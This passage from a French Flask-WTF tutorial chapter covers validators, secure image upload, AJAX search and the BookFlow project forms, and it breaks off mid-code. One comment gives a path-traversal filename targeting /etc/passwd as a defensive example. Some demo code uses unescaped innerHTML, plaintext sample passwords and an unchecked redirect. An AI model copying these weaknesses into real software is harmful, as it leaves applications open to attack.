                  or email.endswith('.org') or email.endswith('.sn')):
              raise ValidationError(
                  "L'email doit se terminer par .com, .net, .org ou .sn"
              )

          # En production : vérifier si l'email est déjà en base
          # utilisateur_existant = Utilisateur.query.filter_by(email=email).first()
          # if utilisateur_existant:
          #     raise ValidationError("Cet email est déjà utilisé")

      @property
      def mot_de_passe_force(self):
          """Évalue la force du mot de passe (0-4)."""
          mdp = self.mot_de_passe.data or ''
          score = 0
          if len(mdp) >= 8:  score += 1
          if any(c.isupper() for c in mdp): score += 1
          if any(c.islower() for c in mdp): score += 1
          if any(c.isdigit() for c in mdp): score += 1
          if any(c in '!@#$%^&*()' for c in mdp): score += 1
          return score


╔══════════════════════════════════════════════════════════════════════════════════════╗
║             CHAPITRE 16 — VALIDATION AVANCÉE ET UPLOAD DE FICHIERS                   ║
║         Tout ce que Flask-WTF peut faire pour sécuriser les données                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  TOUS LES VALIDATEURS WTFORMS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÉFÉRENCE COMPLÈTE :

  from wtforms.validators import (
      DataRequired,    # Champ non vide (supprime les espaces)
      InputRequired,   # Champ présent (même si espaces)
      Optional,        # Arrête la validation si vide (pas d'erreur)
      Length,          # Longueur min/max de la chaîne
      NumberRange,     # Valeur min/max pour les nombres
      Email,           # Format email valide
      URL,             # Format URL valide
      IPAddress,       # Adresse IP valide (v4 ou v6)
      MacAddress,      # Adresse MAC valide
      UUID,            # UUID valide
      EqualTo,         # Doit être égal à un autre champ
      NoneOf,          # Ne doit pas être dans la liste
      AnyOf,           # Doit être dans la liste
      Regexp,          # Doit correspondre à une regex
      ValidationError  # Pour lever une erreur manuellement
  )

EXEMPLES D'UTILISATION :

  # DataRequired vs Optional
  nom = StringField(validators=[DataRequired()])          # Requis
  bio = TextAreaField(validators=[Optional(), Length(max=500)])  # Optionnel

  # Length
  titre = StringField(validators=[Length(min=1, max=200)])
  code = StringField(validators=[Length(min=6, max=6, message="Exactement 6 chars")])

  # NumberRange
  pages = IntegerField(validators=[NumberRange(min=1, max=50000)])
  note = FloatField(validators=[Optional(), NumberRange(min=0, max=5)])

  # EqualTo (confirmation de mot de passe)
  confirmer_mdp = PasswordField(validators=[
      EqualTo('mot_de_passe', message="Les mots de passe ne correspondent pas")
  ])

  # AnyOf (valeur dans une liste autorisée)
  role = SelectField(validators=[AnyOf(['admin', 'user', 'moderateur'])])

  # NoneOf (valeur interdite)
  username = StringField(validators=[NoneOf(['admin', 'root', 'system'],
      message="Ce nom d'utilisateur est réservé")])

  # Regexp (validation par expression régulière)
  telephone = StringField(validators=[
      Optional(),
      Regexp(r'^\+?[\d\s\-().]{7,20}$', message="Numéro de téléphone invalide")
  ])
  code_postal = StringField(validators=[
      Regexp(r'^\d{5}$', message="Code postal français : 5 chiffres")
  ])

  # URL
  site_web = URLField(validators=[Optional(), URL(message="URL invalide")])


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  VALIDATEURS PERSONNALISÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

3 FAÇONS DE CRÉER DES VALIDATEURS PERSONNALISÉS :

MÉTHODE 1 — Méthode validate_<champ> dans la classe :
(Vu en Chapitre 15 — le plus simple et courant)

  class LivreForm(FlaskForm):
      isbn = StringField('ISBN')

      def validate_isbn(self, field):
          """Appelé automatiquement pour valider le champ 'isbn'."""
          if field.data:
              # Vérification algorithme Luhn ISBN-13
              isbn = field.data.replace('-', '').replace(' ', '')
              if len(isbn) != 13:
                  raise ValidationError("ISBN doit contenir 13 chiffres")
              try:
                  total = sum(
                      int(c) * (1 if i % 2 == 0 else 3)
                      for i, c in enumerate(isbn)
                  )
                  if total % 10 != 0:
                      raise ValidationError("ISBN invalide (chiffre de contrôle)")
              except ValueError:
                  raise ValidationError("ISBN ne doit contenir que des chiffres")

MÉTHODE 2 — Fonction validateur standalone (réutilisable) :

  from wtforms.validators import ValidationError

  def verifier_isbn(form, field):
      """
      Validateur standalone pour l'ISBN-13.
      Peut être utilisé dans plusieurs formulaires.

      Les validateurs reçoivent toujours (form, field).
      """
      if not field.data:
          return  # Champ vide -> pas d'erreur (Optional gère ça)

      isbn = str(field.data).replace('-', '').replace(' ', '')

      if not isbn.isdigit():
          raise ValidationError("L'ISBN ne doit contenir que des chiffres")

      if len(isbn) != 13:
          raise ValidationError(f"ISBN doit avoir 13 chiffres (actuel: {len(isbn)})")

      # Vérification du chiffre de contrôle
      total = sum(
          int(c) * (1 if i % 2 == 0 else 3)
          for i, c in enumerate(isbn)
      )
      if total % 10 != 0:
          raise ValidationError("ISBN-13 invalide (chiffre de contrôle incorrect)")

  # Utilisation :
  class LivreForm(FlaskForm):
      isbn = StringField('ISBN', validators=[Optional(), verifier_isbn])

MÉTHODE 3 — Classe validateur (pour les validateurs paramétrables) :

  class LongueurMots:
      """
      Validateur qui vérifie le nombre de MOTS (pas de caractères).
      Paramétrable : min_mots et max_mots.
      """

      def __init__(self, min_mots=None, max_mots=None, message=None):
          self.min_mots = min_mots
          self.max_mots = max_mots
          self.message = message

      def __call__(self, form, field):
          """Appelé lors de la validation."""
          if not field.data:
              return

          mots = field.data.split()
          nb_mots = len(mots)

          if self.min_mots and nb_mots < self.min_mots:
              raise ValidationError(
                  self.message or
                  f"Minimum {self.min_mots} mots requis (actuel: {nb_mots})"
              )

          if self.max_mots and nb_mots > self.max_mots:
              raise ValidationError(
                  self.message or
                  f"Maximum {self.max_mots} mots (actuel: {nb_mots})"
              )

  # Utilisation :
  class LivreForm(FlaskForm):
      description = TextAreaField('Description',
          validators=[
              Optional(),
              LongueurMots(min_mots=10, max_mots=200)
          ])

VALIDATION CROISÉE ENTRE CHAMPS :

  class EmpruntForm(FlaskForm):
      date_debut = DateField('Date de début', validators=[DataRequired()])
      date_fin = DateField('Date de fin', validators=[DataRequired()])

      def validate_date_fin(self, field):
          """La date de fin doit être après la date de début."""
          if self.date_debut.data and field.data:
              if field.data <= self.date_debut.data:
                  raise ValidationError(
                      "La date de fin doit être postérieure à la date de début"
                  )

              from datetime import timedelta
              duree = field.data - self.date_debut.data
              if duree.days > 30:
                  raise ValidationError("La durée d'emprunt maximum est 30 jours")

      def validate(self, extra_validators=None):
          """Override validate() pour des validations globales."""
          # Appeler la validation standard d'abord
          if not super().validate(extra_validators):
              return False

          # Validation globale supplémentaire
          if self.date_debut.data and self.date_fin.data:
              from datetime import date
              if self.date_debut.data < date.today():
                  self.date_debut.errors.append("La date ne peut pas être dans le passé")
                  return False

          return True


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  UPLOAD DE FICHIERS AVEC FLASK-WTF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'upload de fichiers est une fonctionnalité délicate qui nécessite
de nombreuses précautions de sécurité.

FORMULAIRE AVEC UPLOAD :

  from flask_wtf import FlaskForm
  from flask_wtf.file import FileField, FileAllowed, FileRequired, MultipleFileField
  from wtforms import StringField, SubmitField
  from wtforms.validators import DataRequired, Optional

  class LivreAvecCouvertureForm(FlaskForm):
      titre = StringField('Titre', validators=[DataRequired()])
      auteur = StringField('Auteur', validators=[DataRequired()])

      # Upload d'un fichier image
      couverture = FileField(
          'Image de couverture',
          validators=[
              Optional(),
              FileAllowed(
                  ['jpg', 'jpeg', 'png', 'webp'],
                  message="Formats acceptés : JPG, PNG, WebP (max 5 MB)"
              )
          ]
      )

      # Upload d'un PDF (ebook)
      fichier_ebook = FileField(
          'Fichier ebook (PDF)',
          validators=[
              Optional(),
              FileAllowed(['pdf'], message="Seulement les fichiers PDF")
          ]
      )

      # Upload multiple
      images_supplementaires = MultipleFileField(
          'Images supplémentaires',
          validators=[Optional()]
      )

      submit = SubmitField('Enregistrer')

ROUTE FLASK POUR L'UPLOAD :

  import os
  import uuid
  from flask import current_app
  from werkzeug.utils import secure_filename
  from PIL import Image  # pip install Pillow

  DOSSIER_UPLOAD = 'static/uploads'
  TAILLE_MAX_IMAGE = 5 * 1024 * 1024   # 5 MB
  DIMENSIONS_MAX = (800, 1200)          # Largeur × Hauteur max

  def sauvegarder_image(fichier, sous_dossier='livres'):
      """
      Sauvegarde une image uploadée de manière sécurisée.

      Sécurités :
        - Nom de fichier sécurisé (secure_filename)
        - Extension vérifiée
        - Nom unique (UUID) pour éviter les collisions et l'écrasement
        - Redimensionnement pour éviter les images trop grandes
        - Suppression des métadonnées EXIF (RGPD)

      Returns:
          str: Chemin relatif vers le fichier sauvegardé, ou None si erreur
      """
      if not fichier or fichier.filename == '':
          return None

      # 1. Sécuriser le nom de fichier original
      nom_original = secure_filename(fichier.filename)
      # -> "Ma Photo.jpg" devient "Ma_Photo.jpg"
      # -> "../../../etc/passwd" devient "etc_passwd"

      # 2. Extraire et vérifier l'extension
      extension = nom_original.rsplit('.', 1)[-1].lower()
      extensions_autorisees = {'jpg', 'jpeg', 'png', 'webp', 'gif'}
      if extension not in extensions_autorisees:
          return None

      # 3. Générer un nom de fichier unique (UUID)
      nom_unique = f"{uuid.uuid4().hex}.{extension}"

      # 4. Créer le dossier si nécessaire
      dossier = os.path.join(current_app.root_path, DOSSIER_UPLOAD, sous_dossier)
      os.makedirs(dossier, exist_ok=True)

      # 5. Chemin complet de sauvegarde
      chemin_complet = os.path.join(dossier, nom_unique)

      # 6. Vérifier la taille
      fichier.seek(0, 2)  # Aller à la fin du fichier
      taille = fichier.tell()
      fichier.seek(0)     # Revenir au début
      if taille > TAILLE_MAX_IMAGE:
          return None

      # 7. Traitement de l'image avec Pillow
      try:
          image = Image.open(fichier)

          # Vérifier que c'est vraiment une image (pas un fichier déguisé)
          image.verify()  # Lève une exception si invalide
          fichier.seek(0)  # verify() ferme le fichier, rouvrir
          image = Image.open(fichier)

          # Convertir en RGB si nécessaire (pour supprimer les métadonnées EXIF)
          if image.mode in ('RGBA', 'P'):
              image = image.convert('RGB')
              nom_unique = nom_unique.replace('.png', '.jpg')
              extension = 'jpg'

          # Redimensionner si trop grand (conserve les proportions)
          image.thumbnail(DIMENSIONS_MAX, Image.LANCZOS)

          # Sauvegarder sans métadonnées EXIF (RGPD)
          image.save(chemin_complet, optimize=True, quality=85)

      except Exception as e:
          current_app.logger.error(f"Erreur traitement image : {e}")
          return None

      # 8. Retourner le chemin relatif (pour l'URL)
      return f"uploads/{sous_dossier}/{nom_unique}"

  @app.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre_avec_upload():
      form = LivreAvecCouvertureForm()

      if form.validate_on_submit():
          chemin_couverture = None

          # Traiter l'upload de la couverture
          if form.couverture.data:
              chemin_couverture = sauvegarder_image(form.couverture.data)
              if chemin_couverture is None:
                  form.couverture.errors.append("Erreur lors de l'upload de l'image")
                  return render_template('livres/formulaire_upload.html', form=form)

          nouveau = {
              'titre':     form.titre.data,
              'auteur':    form.auteur.data,
              'couverture': chemin_couverture  # Chemin relatif
          }
          # ... sauvegarder en BDD ...

          flash('Livre créé avec succès !', 'success')
          return redirect(url_for('web.liste_livres'))

      return render_template('livres/formulaire_upload.html', form=form)

  # Dans le template pour afficher l'image :
  # {% if livre.couverture %}
  #     <img src="{{ url_for('static', filename=livre.couverture) }}"
  #          alt="Couverture de {{ livre.titre }}">
  # {% else %}
  #     <img src="{{ url_for('static', filename='images/no-cover.png') }}"
  #          alt="Pas de couverture">
  # {% endif %}

CONFIGURATION FLASK POUR L'UPLOAD :

  # config.py
  import os

  class Config:
      # Taille maximale des fichiers uploadés (16 MB)
      MAX_CONTENT_LENGTH = 16 * 1024 * 1024

      # Dossier d'upload
      UPLOAD_FOLDER = os.path.join(os.path.dirname(__file__), 'static', 'uploads')

      # Extensions autorisées
      ALLOWED_IMAGE_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'webp'}
      ALLOWED_DOC_EXTENSIONS = {'pdf', 'epub'}

  # Dans l'app :
  @app.errorhandler(413)
  def fichier_trop_grand(error):
      return jsonify({
          "error": "Le fichier est trop volumineux (max 16 MB)"
      }), 413


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  FORMULAIRES AJAX (sans rechargement)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Pour une meilleure UX, on peut soumettre les formulaires via JavaScript/AJAX
sans recharger la page.

CÔTÉ FLASK (route qui retourne JSON) :

  @app.route('/api/livres/recherche', methods=['GET'])
  def api_recherche():
      """Recherche en temps réel (appelée par JS)."""
      query = request.args.get('q', '').strip().lower()

      if len(query) < 2:
          return jsonify({"resultats": [], "total": 0})

      resultats = [
          {"id": l['id'], "titre": l['titre'], "auteur": l['auteur']}
          for l in LIVRES
          if query in l['titre'].lower() or query in l['auteur'].lower()
      ][:10]  # Limiter à 10

      return jsonify({"resultats": resultats, "total": len(resultats)})

  @app.route('/api/livres', methods=['POST'])
  @csrf.exempt  # API REST -> pas de CSRF (utilise JWT)
  def api_creer_livre():
      """Crée un livre via AJAX/JSON."""
      data = request.get_json(silent=True)

      if not data:
          return jsonify({"success": False, "error": "JSON requis"}), 400

      erreurs = {}
      if not data.get('titre'):
          erreurs['titre'] = "Requis"
      if not data.get('auteur'):
          erreurs['auteur'] = "Requis"

      if erreurs:
          return jsonify({"success": False, "errors": erreurs}), 400

      nouveau = {'id': len(LIVRES) + 1, **data}
      LIVRES.append(nouveau)
      return jsonify({"success": True, "data": nouveau}), 201

CÔTÉ JAVASCRIPT (dans static/js/main.js) :

  // Recherche en temps réel
  const champRecherche = document.getElementById('recherche');
  const resultatDiv = document.getElementById('resultats');

  let delaiRecherche;
  champRecherche.addEventListener('input', function() {
      clearTimeout(delaiRecherche);  // Annuler la recherche précédente (debounce)

      const query = this.value.trim();
      if (query.length < 2) {
          resultatDiv.innerHTML = '';
          return;
      }

      // Attendre 300ms après la dernière frappe
      delaiRecherche = setTimeout(async () => {
          try {
              const response = await fetch(
                  `/api/livres/recherche?q=${encodeURIComponent(query)}`
              );
              const data = await response.json();

              // Afficher les résultats
              if (data.resultats.length === 0) {
                  resultatDiv.innerHTML = '<p>Aucun résultat</p>';
              } else {
                  resultatDiv.innerHTML = data.resultats
                      .map(l => `
                          <div class="suggestion">
                              <a href="/livres/${l.id}">${l.titre}</a>
                              <span>${l.auteur}</span>
                          </div>
                      `)
                      .join('');
              }
          } catch (error) {
              console.error('Erreur recherche:', error);
          }
      }, 300);
  });

  // Soumission AJAX d'un formulaire
  async function soumettreFormulaire(formElement) {
      const formData = new FormData(formElement);

      // Récupérer le token CSRF depuis le formulaire
      const csrfToken = document.querySelector('[name="csrf_token"]').value;

      try {
          const response = await fetch(formElement.action, {
              method: 'POST',
              headers: {
                  'X-CSRFToken': csrfToken,
                  'Content-Type': 'application/json'
              },
              body: JSON.stringify(Object.fromEntries(formData))
          });

          const data = await response.json();

          if (data.success) {
              afficherMessage('Livre créé avec succès !', 'success');
              formElement.reset();
          } else {
              // Afficher les erreurs sous chaque champ
              Object.entries(data.errors || {}).forEach(([champ, erreur]) => {
                  const input = document.getElementById(champ);
                  if (input) {
                      input.classList.add('is-invalid');
                      const errDiv = document.createElement('div');
                      errDiv.className = 'error-text';
                      errDiv.textContent = erreur;
                      input.parentNode.appendChild(errDiv);
                  }
              });
          }
      } catch (error) {
          console.error('Erreur:', error);
          afficherMessage('Erreur réseau. Réessayez.', 'error');
      }
  }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 16.1 : Crée un validateur standalone pour vérifier
    qu'un numéro de téléphone sénégalais est valide
    (commence par 7 et a 9 chiffres).

  Exercice 16.2 : Ajoute un champ FileField à LivreForm pour
    uploader une image de couverture. Valider : max 2MB, formats JPG/PNG.

  Exercice 16.3 : Crée un formulaire de changement de mot de passe avec :
    - ancien_mdp (PasswordField)
    - nouveau_mdp (PasswordField, min 8 chars, doit contenir chiffre)
    - confirmer_mdp (EqualTo nouveau_mdp)

NIVEAU INTERMÉDIAIRE :
  Exercice 16.4 : Implémente la fonction sauvegarder_image() simplifiée
    (sans Pillow) : secure_filename, UUID unique, vérification extension.

  Exercice 16.5 : Crée un formulaire EmpruntForm qui valide que :
    - La date de fin est après la date de début
    - La durée ne dépasse pas 30 jours
    - La date de début n'est pas dans le passé

NIVEAU AVANCÉ :
  Exercice 16.6 : Implémente la recherche en temps réel complète :
    - Route API Flask /api/recherche?q=...
    - JavaScript avec debounce 300ms
    - Affichage des suggestions sous le champ de recherche


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 16.1 — Validateur téléphone sénégalais :

  import re
  from wtforms.validators import ValidationError

  def valider_telephone_senegalais(form, field):
      """
      Valide un numéro de téléphone sénégalais.
      Format : 7X XXX XX XX (préfixes: 70, 75, 76, 77, 78)
      """
      if not field.data:
          return  # Champ vide, la validation Optional gère ça

      # Nettoyer le numéro
      numero = re.sub(r'[\s\-\(\)\+]', '', field.data)

      # Enlever l'indicatif 221 si présent
      if numero.startswith('221'):
          numero = numero[3:]

      # Vérifier le format
      if not re.match(r'^7[05-8]\d{7}$', numero):
          raise ValidationError(
              "Numéro sénégalais invalide. Format : 7X XXX XX XX "
              "(préfixes : 70, 75, 76, 77, 78)"
          )

  # Classe validateur (réutilisable avec paramètre) :
  class TelephoneSenegalais:
      def __init__(self, message=None):
          self.message = message or "Numéro sénégalais invalide"

      def __call__(self, form, field):
          if not field.data:
              return
          numero = re.sub(r'[\s\-\(\)\+]', '', field.data)
          if numero.startswith('221'):
              numero = numero[3:]
          if not re.match(r'^7[05-8]\d{7}$', numero):
              raise ValidationError(self.message)

  # Utilisation :
  # telephone = StringField('Téléphone',
  #     validators=[Optional(), TelephoneSenegalais()])

CORRIGÉ 16.3 — Formulaire changement de mot de passe :

  from flask_wtf import FlaskForm
  from wtforms import PasswordField, SubmitField
  from wtforms.validators import DataRequired, Length, EqualTo, ValidationError, Regexp

  class ChangerMotDePasseForm(FlaskForm):

      ancien_mdp = PasswordField(
          'Ancien mot de passe',
          validators=[DataRequired(message="Requis")],
          render_kw={'class': 'form-control'}
      )

      nouveau_mdp = PasswordField(
          'Nouveau mot de passe',
          validators=[
              DataRequired(),
              Length(min=8, message="Minimum 8 caractères"),
              Regexp(
                  r'(?=.*\d)',  # Doit contenir au moins un chiffre
                  message="Le mot de passe doit contenir au moins un chiffre"
              )
          ],
          render_kw={'class': 'form-control'}
      )

      confirmer_mdp = PasswordField(
          'Confirmer le nouveau mot de passe',
          validators=[
              DataRequired(),
              EqualTo('nouveau_mdp', message="Les mots de passe ne correspondent pas")
          ],
          render_kw={'class': 'form-control'}
      )

      submit = SubmitField('Changer le mot de passe', render_kw={'class': 'btn-primary'})

      def validate_nouveau_mdp(self, field):
          """Le nouveau mot de passe doit être différent de l'ancien."""
          if field.data and self.ancien_mdp.data:
              if field.data == self.ancien_mdp.data:
                  raise ValidationError(
                      "Le nouveau mot de passe doit être différent de l'ancien"
                  )

      # Route associée :
      # @app.route('/profil/changer-mdp', methods=['GET', 'POST'])
      # @login_required
      # def changer_mdp():
      #     form = ChangerMotDePasseForm()
      #     if form.validate_on_submit():
      #         # Vérifier l'ancien mot de passe
      #         if not bcrypt.check_password_hash(current_user.mdp_hash,
      #                                           form.ancien_mdp.data):
      #             form.ancien_mdp.errors.append("Mot de passe incorrect")
      #             return render_template('profil/changer_mdp.html', form=form)
      #         # Mettre à jour le mot de passe
      #         current_user.mdp_hash = bcrypt.generate_password_hash(
      #             form.nouveau_mdp.data
      #         )
      #         db.session.commit()
      #         flash("Mot de passe modifié avec succès !", "success")
      #         return redirect(url_for('web.profil'))
      #     return render_template('profil/changer_mdp.html', form=form)

CORRIGÉ 16.5 — EmpruntForm :

  from flask_wtf import FlaskForm
  from wtforms import IntegerField, DateField, TextAreaField, SubmitField
  from wtforms.validators import DataRequired, Optional, ValidationError
  from datetime import date, timedelta

  class EmpruntForm(FlaskForm):
      livre_id = IntegerField('ID du livre',
          validators=[DataRequired(message="Sélectionnez un livre")])

      date_debut = DateField(
          'Date de début d\'emprunt',
          format='%Y-%m-%d',
          validators=[DataRequired()],
          render_kw={'class': 'form-control', 'type': 'date'}
      )

      date_fin = DateField(
          'Date de retour prévue',
          format='%Y-%m-%d',
          validators=[DataRequired()],
          render_kw={'class': 'form-control', 'type': 'date'}
      )

      notes = TextAreaField(
          'Notes (optionnel)',
          validators=[Optional()],
          render_kw={'class': 'form-control', 'rows': 3,
                     'placeholder': 'Ex: Pour un projet scolaire...'}
      )

      submit = SubmitField('Confirmer l\'emprunt', render_kw={'class': 'btn-primary'})

      def validate_date_debut(self, field):
          """La date de début ne peut pas être dans le passé."""
          if field.data and field.data < date.today():
              raise ValidationError(
                  "La date de début ne peut pas être dans le passé"
              )

      def validate_date_fin(self, field):
          """La date de fin doit être après le début et max 30 jours."""
          if not field.data:
              return

          if self.date_debut.data:
              if field.data <= self.date_debut.data:
                  raise ValidationError(
                      "La date de retour doit être après la date d'emprunt"
                  )

              duree = (field.data - self.date_debut.data).days
              if duree > 30:
                  raise ValidationError(
                      f"Durée maximum : 30 jours (demandé : {duree} jours)"
                  )
              if duree < 1:
                  raise ValidationError("La durée minimum est d'un jour")

      def validate(self, extra_validators=None):
          """Validation globale du formulaire."""
          valide = super().validate(extra_validators)

          # Vérification supplémentaire si les deux dates sont valides
          if valide and self.date_debut.data and self.date_fin.data:
              date_max = date.today() + timedelta(days=90)
              if self.date_debut.data > date_max:
                  self.date_debut.errors.append(
                      "Impossible de réserver plus de 90 jours à l'avance"
                  )
                  valide = False

          return valide


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                  [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW : TOUS LES FORMULAIRES               ║
║                    Implémentation complète des formulaires du projet                 ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STRUCTURE DES FORMULAIRES BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  app/forms/
  ├── __init__.py          <- Exporte tous les formulaires
  ├── auth_forms.py        <- LoginForm, InscriptionForm, ChangerMdpForm
  ├── livre_forms.py       <- LivreForm, RechercheForm
  ├── emprunt_forms.py     <- EmpruntForm
  └── profil_forms.py      <- ProfilForm

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  FICHIER COMPLET : app/forms/__init__.py
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/forms/__init__.py
  from .auth_forms import LoginForm, InscriptionForm, ChangerMotDePasseForm
  from .livre_forms import LivreForm, RechercheForm
  from .emprunt_forms import EmpruntForm
  from .profil_forms import ProfilForm

  # Utilisation dans les routes :
  # from app.forms import LoginForm, LivreForm, EmpruntForm

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  FICHIER COMPLET : app/forms/auth_forms.py
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask_wtf import FlaskForm
  from wtforms import (StringField, PasswordField, BooleanField,
                       SubmitField, EmailField)
  from wtforms.validators import (DataRequired, Email, Length,
                                  EqualTo, Regexp, ValidationError)

  class LoginForm(FlaskForm):
      email = EmailField('Email',
          validators=[DataRequired(), Email()],
          render_kw={'placeholder': 'votre@email.com', 'class': 'form-control',
                     'autofocus': True})

      mot_de_passe = PasswordField('Mot de passe',
          validators=[DataRequired(), Length(min=6)],
          render_kw={'placeholder': '••••••••', 'class': 'form-control'})

      se_souvenir = BooleanField('Se souvenir de moi')
      submit = SubmitField('Se connecter', render_kw={'class': 'btn-primary w-100'})

  class InscriptionForm(FlaskForm):
      nom = StringField('Nom complet',
          validators=[DataRequired(), Length(2, 100)],
          render_kw={'placeholder': 'Prénom Nom', 'class': 'form-control'})

      email = EmailField('Adresse email',
          validators=[DataRequired(), Email()],
          render_kw={'placeholder': 'votre@email.com', 'class': 'form-control'})

      mot_de_passe = PasswordField('Mot de passe',
          validators=[DataRequired(), Length(min=8),
              Regexp(r'(?=.*[a-z])(?=.*[A-Z])(?=.*\d)',
                     message="Min. 1 minuscule, 1 majuscule, 1 chiffre")],
          render_kw={'class': 'form-control'})

      confirmer_mdp = PasswordField('Confirmer le mot de passe',
          validators=[DataRequired(),
              EqualTo('mot_de_passe', message="Les mots de passe diffèrent")],
          render_kw={'class': 'form-control'})

      accepter_cgu = BooleanField("J'accepte les conditions d'utilisation",
          validators=[DataRequired(message="Vous devez accepter les CGU")])

      submit = SubmitField("Créer mon compte", render_kw={'class': 'btn-primary w-100'})

      def validate_email(self, field):
          # En prod : vérifier en BDD
          # if Utilisateur.query.filter_by(email=field.data).first():
          #     raise ValidationError("Cet email est déjà utilisé")
          pass

  class ChangerMotDePasseForm(FlaskForm):
      ancien_mdp = PasswordField('Ancien mot de passe',
          validators=[DataRequired()], render_kw={'class': 'form-control'})
      nouveau_mdp = PasswordField('Nouveau mot de passe',
          validators=[DataRequired(), Length(min=8)],
          render_kw={'class': 'form-control'})
      confirmer_mdp = PasswordField('Confirmer',
          validators=[DataRequired(),
              EqualTo('nouveau_mdp', message="Ne correspond pas")],
          render_kw={'class': 'form-control'})
      submit = SubmitField('Changer', render_kw={'class': 'btn-primary'})

      def validate_nouveau_mdp(self, field):
          if field.data and self.ancien_mdp.data:
              if field.data == self.ancien_mdp.data:
                  raise ValidationError("Doit être différent de l'ancien")

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  FICHIER COMPLET : app/forms/livre_forms.py
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask_wtf import FlaskForm
  from flask_wtf.file import FileField, FileAllowed
  from wtforms import (StringField, IntegerField, TextAreaField,
                       SelectField, BooleanField, SubmitField, DecimalField)
  from wtforms.validators import (DataRequired, Optional, Length,
                                   NumberRange, Regexp, ValidationError)

  GENRES_CHOICES = [
      ('', '-- Choisir --'),
      ('science-fiction', 'Science-Fiction'),
      ('fantasy', 'Fantasy'),
      ('dystopie', 'Dystopie'),
      ('policier', 'Policier'),
      ('romance', 'Romance'),
      ('historique', 'Historique'),
      ('biographie', 'Biographie'),
      ('philosophie', 'Philosophie'),
      ('informatique', 'Informatique'),
      ('autre', 'Autre')
  ]

  class LivreForm(FlaskForm):
      titre = StringField('Titre *',
          validators=[DataRequired("Requis"), Length(max=200)],
          render_kw={'placeholder': 'Ex: Dune', 'class': 'form-control', 'autofocus': True})

      auteur = StringField('Auteur *',
          validators=[DataRequired("Requis"), Length(max=100)],
          render_kw={'placeholder': 'Ex: Frank Herbert', 'class': 'form-control'})

      isbn = StringField('ISBN',
          validators=[Optional(),
              Length(min=13, max=13, message="13 chiffres exactement"),
              Regexp(r'^\d{13}$', message="Chiffres uniquement")],
          render_kw={'placeholder': '9781234567890', 'class': 'form-control'})

      pages = IntegerField('Pages',
          validators=[Optional(), NumberRange(min=1, max=50000)],
          render_kw={'placeholder': '0', 'class': 'form-control'})

      prix = DecimalField('Prix (€)', places=2,
          validators=[Optional(), NumberRange(min=0)],
          render_kw={'placeholder': '0.00', 'class': 'form-control'})

      genre = SelectField('Genre', choices=GENRES_CHOICES,
          validators=[Optional()], render_kw={'class': 'form-select'})

      description = TextAreaField('Description',
          validators=[Optional(), Length(max=2000)],
          render_kw={'rows': 5, 'class': 'form-control',
                     'placeholder': 'Résumé du livre...'})

      disponible = BooleanField('Disponible à l\'emprunt', default=True)

      couverture = FileField('Couverture',
          validators=[Optional(),
              FileAllowed(['jpg','jpeg','png','webp'], "Images uniquement")])

      submit = SubmitField('Enregistrer', render_kw={'class': 'btn-primary'})

  class RechercheForm(FlaskForm):
      q = StringField('Rechercher',
          render_kw={'placeholder': 'Titre, auteur...', 'class': 'form-control'})
      genre = SelectField('Genre', choices=GENRES_CHOICES,
          render_kw={'class': 'form-select'})
      submit = SubmitField('Rechercher', render_kw={'class': 'btn-primary'})
      class Meta:
          csrf = False  # Pas de CSRF pour les formulaires de recherche GET

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ROUTES COMPLÈTES AVEC FORMULAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/auth_routes.py
  from flask import Blueprint, render_template, redirect, url_for, flash, session
  from app.forms import LoginForm, InscriptionForm

  auth_bp = Blueprint('auth', __name__, url_prefix='/auth')

  @auth_bp.route('/login', methods=['GET', 'POST'])
  def login():
      form = LoginForm()
      if form.validate_on_submit():
          email = form.email.data.lower()
          mdp = form.mot_de_passe.data

          # Simulation (en prod: chercher en BDD + vérifier hash bcrypt)
          utilisateurs_fictifs = {
              'admin@bookflow.com': {'mdp': 'Admin123!', 'nom': 'Admin', 'role': 'admin'},
              'user@bookflow.com':  {'mdp': 'User1234!', 'nom': 'Momo', 'role': 'user'}
          }

          user = utilisateurs_fictifs.get(email)
          if user and user['mdp'] == mdp:
              session['user'] = {'email': email, 'nom': user['nom'], 'role': user['role']}
              flash(f"Bienvenue, {user['nom']} !", 'success')
              prochain = session.pop('next_url', None)
              return redirect(prochain or url_for('web.index'))
          else:
              flash('Email ou mot de passe incorrect.', 'error')

      return render_template('auth/login.html', form=form)

  @auth_bp.route('/logout')
  def logout():
